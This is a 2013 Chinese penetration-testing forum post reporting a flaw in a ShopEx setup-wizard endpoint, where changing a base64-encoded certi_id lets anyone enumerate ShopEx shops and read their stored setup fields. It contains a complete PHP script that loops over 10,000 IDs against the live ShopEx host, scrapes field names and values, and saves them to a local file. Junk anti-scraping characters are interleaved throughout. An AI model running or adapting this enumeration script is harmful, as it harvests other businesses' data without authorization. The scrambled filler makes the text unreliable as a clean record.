中国网络渗透测试联盟
标题:
ShopEx某接口缺陷可遍历所有用户网站
[打印本页]
作者:
admin
时间:
2013-9-21 15:59
标题:
ShopEx某接口缺陷可遍历所有用户网站
简要描述:
, X& s( B/ _/ d
ShopEx某接口缺陷,可遍历所有网站
A$ g9 U. S! @3 x9 W+ Q
详细说明:
) ^2 r2 d1 H1 c8 E
问题出现在shopex 网店使用向导页面
/ e7 m; Y, z1 i+ r
9 F& g# O: t. c; X4 S4 X3 H. q
8 T) y+ [9 j5 m# K
4 t, h7 F! k% I2 n
http://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=
, ~/ M# S/ l! h8 e3 `/ J: R
9 |! h" l' w: n- m8 ?+ w r. Q
. O' G1 |% o9 c/ h+ g
3 C7 @) J: C. z+ g5 O+ c
refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
. I V0 k2 L7 q0 o
+ m: f$ f0 Y, B& l, y4 |& G6 r+ T
+ B% W5 D% N6 l+ k
1 T; m: U. y# Z- C% o, m
我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
6 w4 k3 ?& V- G: @4 k
Z) j! z( u4 @4 u' K
. J* g6 @) l. m7 F. ]4 {
- C5 K- U6 J# T E- C4 o, y, K* r1 M
<?php
4 h3 p" z( ~- }: B- q
, x! l1 Y. Y+ @0 @3 I( ~. j
for ($i=1; $i < 10000; $i++) { //遍历
9 X( h0 [2 R# k0 l5 ~( R
: H6 D X7 A( n- y: o8 P
ShowshopExD($i);
. R- H' Z i/ T% _$ i. B
* b3 K& }/ H! ]2 j
}
- z `% }# `4 N" Z& i5 h, P
. i; O+ ?6 l" {# L* Z
function ShowshopExD($cid) {
: O* ^- W8 D2 p4 V
2 |$ U% P! T, K( a* u, o; X
$url='http://guide.ecos.shopex.cn/step2.php';
) R4 T" l: X7 B7 ^7 R
/ u# k9 S! X3 ?5 e6 m5 H0 r
$refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');
' B! Y% I8 |; {3 q2 j
+ y3 _ x3 r2 k$ ?6 ` e. q+ U
$url = $url.'?refer='.$refer;
1 U& z: E# Q( ]8 U( ?4 ~
' D4 A6 k {* h" j& P
$ch = curl_init($url);
- W, @4 d) o7 o( v% B/ z
1 K7 l3 n! O0 M! _
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;
6 i/ S9 [7 B: \, y
- n+ |0 o8 L3 ]/ `% {
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
* X6 e$ C& E# z# x
- j' }$ \0 q! I" p. R: O& X
$result = curl_exec($ch);
- f9 D0 d3 R; N7 i \1 x0 `, [, O
5 J3 l6 i7 k* O6 E8 V
$result = mb_convert_encoding($result, "gb2312", "UTF-8");
, J3 G& G; K$ @' h0 U
+ o) G) L4 F [! i+ _
if(strpos($result,$refer))
( [: O$ w1 o# v. E; j ]
{- D/ M; E' [7 }7 E) R5 F
{
) l; ]$ L! }7 y" j b: Q
+ G$ J& {0 s9 c2 p
$fp = fopen("c:/shopEx.txt",'ab'); //保存文件
# @+ p% _; z" D4 U
# _) N0 e7 h: N+ J# H: v9 F
preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);
; C8 ]& I* M) r9 @; n$ }9 I
7 K( y" S) O, s+ p2 l: M# Z
foreach ($value[1] as $key) {
R9 R5 Q3 C+ Y7 ?# Q
3 v4 S, y' G/ `0 Z
preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
) k% B3 B7 s3 ?8 F, {
. v$ m+ v9 g' c- y2 K3 n
echo $res[1][0].':'.$res[3][0]."\r\n";
3 J- ], }9 {2 L: l# |3 ~% |9 k
. O) G8 o5 I: v7 F
$col =$res[1][0].':'.$res[3][0]."\r\n";
5 [2 V1 m: |; d) r1 C
# E9 }( m$ _: Z2 d/ A2 T/ S
fwrite($fp, $col, strlen($col));
9 H% @ }: f+ n
t; R0 X3 B, s; Z& w& ~3 B
}
0 }! f3 d0 O% _9 ?. b! l
8 K) W$ c# o7 f( z! O7 b
echo '--------------------------------'."\r\n";
6 M; B0 U/ w k. }$ m8 e2 |
# X: m& M. L5 R K' P+ }9 \) Z
fclose($fp);
. _4 C# Z% @3 w6 j3 H. I
8 W J5 r/ G$ U, ], ^7 Z
}
" _* L! I% N p; O* u
C& q! d' f) ^; d& c: m, H
flush();
& \7 n6 R8 a, `4 T- o, {
2 j |( n- [/ k/ j
curl_close($ch);
) ]; S, Y( E) E/ i/ r* S) }: L7 [; _
. s. u6 _" F3 C7 p. M/ r
}
+ ^7 q% r: H& |' \ M$ _2 _
9 p7 w& b. v2 L7 T, i( w* n! A
?>
) d E/ o5 P1 }, a$ N
漏洞证明:
! Z, x5 o) M. k+ |1 e* [
http://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
& A/ K9 h# y' T' M, q
refer换成其他加密方式
9 d! |! ]9 }( o% Z" w9 H2 J
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2